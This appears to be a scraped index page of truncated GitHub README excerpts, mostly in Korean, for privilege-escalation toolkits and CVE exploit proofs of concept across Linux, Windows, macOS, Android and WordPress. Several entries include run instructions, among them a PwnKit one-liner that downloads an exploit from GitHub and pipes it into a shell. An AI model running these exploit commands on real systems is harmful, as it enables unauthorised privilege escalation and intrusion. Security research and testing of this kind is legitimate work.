PEASS-ng

PEASS-ng - 권한 상승 어썸 스크립트 모음 신세대 LinPEAS 마스터를 위한 리눅스 권한 상승 공식 강좌 수십 가지 리눅스 권한 상승 기술을 배우고 LinPEAS를 마스터하려면https://hacktricks-training.com/courses/lhe/를 확인하세요 기본 튜토리얼 여기에서는 Windows, Linux/Unix 및 MacOS용 권한 상승 도구 를 찾을 수 있습니다. 이 도구들은 여러분이 악용할 수 있는 로컬 권한 상승 경로 를 검색하고 보기 좋은 색상 으로 출력하여 잘못된 구성을 쉽게 인식할 수 있도록...

nccfsas

Introduction This repository holds information released publicly by NCC Group's Full Spectrum Attack Simulation FSAS team...

attack-stix-data

ATT&CK® STIX Data MITRE ATT&CK is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and ...

CVE-2024-23897

CVE-2024-23897 CVE-2024-23897 익스플로잇을 위한 Nuclei 템플릿 이 템플릿은 사용자에게 중요한 경고 역할을 합니다. 시스템에서 CVE-2024-23897 로컬 파일 취약점이 탐지되면 즉시 조치를 취하고 지체 없이 시스템에 패치를 적용해야 합니다. 이 취약점은 시스템의 보안과 무결성에 심각한 위험을 초래하며, 민감한 파일과 데이터에 대한 무단 접근을 허용할 수 있습니다. 템플릿의 주요 목적은 Jenkins 버전이 익스플로잇 가능한지 확인하는 것입니다. 사용법: nuclei -t...

secpub

Cisco Nexus OS NX-OS - 명령어 "인젝션" / 입력 값 정화 문제. 발견자: Peter Adkins [email protected] 접근 권한: 로컬; 인증된 접근이 필요합니다. 추적 및 식별자: CVE - CVE-2011-2569 영향을 받는 OS: Cisco Nexus OS NX-OS 벤더 협력: 통보됨 - 일부 플랫폼에 패치 제공 / 구현됨. 영향을 받는 시스템 / 플랫폼: Nexus 7000 Nexus 5000 Nexus 4000 Nexus 3000 Nexus 2000 Nexus 1000V MD...

bore

bore A modern, simple TCP tunnel in Rust that exposes local ports to a remote server, bypassing standard NAT connection firewalls. That's all it does: no more, and no less. Installation requires Rust, see alternatives below cargo install bore-cli On your local machine bore local 8000 --to bore.pu...

cve-2020-0796

CVE-2020-0796 LPE CVE-2020-0796 SMBGhost LPE 사용법 필요하다면 Rust를 설치하세요 https://www.rust-lang.org/learn/get-started 코드 컴파일: cargo build --release target/release에서 .exe 파일을 대상에 복사하고 실행하세요. 참고 자료...

CVE-2023-42931

CVE-2023-42931 이 익스플로잇은 macOS 14.0-14.1.2, 13.0-13.6.2, 12.0-12.7.1에서 동작하는 LPE로컬 권한 상승를 대상으로 합니다. 사용법 chmod +x PoC.sh ./PoC.sh 크레딧 이 익스플로잇은 다음 원본 문서의 연구를 기반으로 합니다: Apple macOS 파일 시스템을 통해 루트까지 로컬 권한을 상승시키는 방법. 라이선스 이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요...

CVE-2023-6553-PoC

CVE-2023-6553 PoC LFI to RCE Backup Migration 워드프레스 플러그인에서의 인증되지 않은 원격 코드 실행. 실행 $ python exploit.py 다음 PHP 스크립트가 실행됩니다. out.txt; ? 참고 자료 Backup Migration 플러그인에서 발견된 심각한 인증되지 않은 원격 코드 실행 취약점...

CVE-2023-28252-Compiled-exe

CVE-2023-28252-Compiled-exe Fortra의 훌륭한 CVE-2023-2852 권한 상승 익스플로잇을 수정한 버전입니다. Windows 11 21H2 clfs.sys 버전 10.0.22000.1574에서 동작하며, Windows 10 21H2, Windows 10 22H2, Windows 11 22H2 및 Windows Server 2022에서도 동작합니다. 이 버전은 원래 기능을 유지하면서, 실행할 바이너리를 인자로 제공할 수 있는 옵션을 추가했습니다. Visual Studio가 없을 때 유용합니다. 설명...

Exploiting-PwnKit-CVE-2021-4034-

PwnKit CVE-2021-4034를 위한 자체 포함 익스플로잇 - Pkexec 로컬 권한 상승 사용법 Ubuntu, Debian, Fedora, CentOS 기반의 취약한 Linux 배포판에서 즉시 작동해야 합니다. sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 수동 실행 curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit chmod +x...

CVE-2024-0044

CVE 2024 0044 CVE-2024-0044는 PackageInstallerService.java 파일의 createSessionInternal 함수에서 확인된, Android 12 및 13에 영향을 미치는 높은 심각도의 취약점입니다. 이 취약점으로 인해 공격자는 "run-as any app" 공격을 수행하여 사용자 상호작용 없이 로컬 권한 상승을 일으킬 수 있습니다. 문제는 createSessionInternal 함수 내에서 부적절한 입력 검증으로 인해 발생합니다. 공격자는 세션 생성 프로세스를 조작하여 이 취약점을 악...

CVE-2025-2294

Kubio Page Builder LFI Exploit CVE-2025-2294 Kubio Page Builder WordPress 플러그인버전 ≤ 2.5.1용 로컬 파일 포함LFI 익스플로잇입니다. 📌 설명 이 도구는 Kubio Page Builder 플러그인CVE-2025-2294의 인증되지 않은 LFI 취약점을 악용하여, 취약한 WordPress 설치 환경에서 공격자가 민감한 파일을 읽을 수 있게 합니다. 🚀 기능 단일 대상 모드 -u 파일 기반 대량 스캔 -l 버전 탐지 결과를 파일로 출력 -o 취약 버전 자동 확인 사...

CVE-2021-1732

CVE-2021-1732 CVE-2021-1732 Microsoft Windows 10 로컬 권한 상승 취약점 연구 및 Poc/Exploit 개발 영향을 받는 시스템 및 애플리케이션 버전 Windows Server, version 20H2 Server Core Installation Windows 10 Version 20H2 for ARM64‑based Systems Windows 10 Version 20H2 for 32‑bit Systems Windows 10 Version 20H2 for x64‑based Systems...

CVE-2026-42978-PoC-Research

CVE-2026-42978 PoC & Research — Windows Push Notifications Use-After-Free Windows Push Notifications 서비스WpnService의 경쟁 조건Race Condition 취약점으로, NT AUTHORITY\SYSTEM 권한으로 실행됩니다. 로컬 접근 권한이 있는 공격자는 플랫폼 종료 중에 use-after-free를 유발하여 권한을 상승시킬 수 있습니다. CVE: CVE-2026-42978 BDU: BDU:2026-08249 유형: CWE-362경쟁 조건...

CVE-2018-19788

CVE-2018-19788 CVE-2018-19788에 대한 매우 간단한 익스플로잇 사용하려면 Policy Kit에서 UID가 INTMAX보다 큰 사용자를 생성하거나, 이미 해당 UID를 가진 낮은 권한의 사용자가 있어야 합니다. 사용자 생성 시 UID는 다음과 같이 지정할 수 있으며, 스크립트 실행 전에 사용됩니다: $ useradd -u 4000000001 PrivEsc $ passwd PrivEsc $ su PrivEsc $ chmod +x /tmp/CVE-2018-19788PrivEsc.sh $...

CVE-2022-42176

PCSecure V5.0.8.xw - 구성 파일에 하드코딩된 자격 증명 사용으로 관리자 패널 접근 가능 요약 공급업체: PCTechSoft SAS 제품: PCSecure 영향을 받는 버전: 5.0.8.xw 코드네임: PapiQuieroPollo00 취약점 유형: 하드코딩된 자격 증명 사용 CWE-798 CVSSv3.1 벡터: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSSv3.1 기본 점수: 7.8 높음 익스플로잇 가능 여부: 없음 CVE ID: CVE-2022-42176 설명...

linux-smart-enumeration

First, a couple of useful oneliners ; wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh;chmod 700 lse.sh curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh Note that...

CVE-2024-26229-lpe

CVE-2024-26229 CWE-781: csc.sys 드라이버에서 METHODNEITHER I/O Control Code를 사용하는 IOCTL의 부적절한 주소 검증...

CVE-2014-7911

CVE-2014-7911 CVE-2014-7911의 PoC로, Nexus5 Android 4.4.4r1을 대상으로 하며 retme7 기반으로 다른 ROP 체인을 사용합니다. 정보 http://ele7enxxh.com/CVE-2014-7911-Detailed-Analysis-Of-Android-Local-Privilege-Escalation-To-System-Vulnerability.html 사용법 adb를 통해 휴대폰을 연결하세요. adb push jni/expolit /data/local/tmp adb logcat | gre...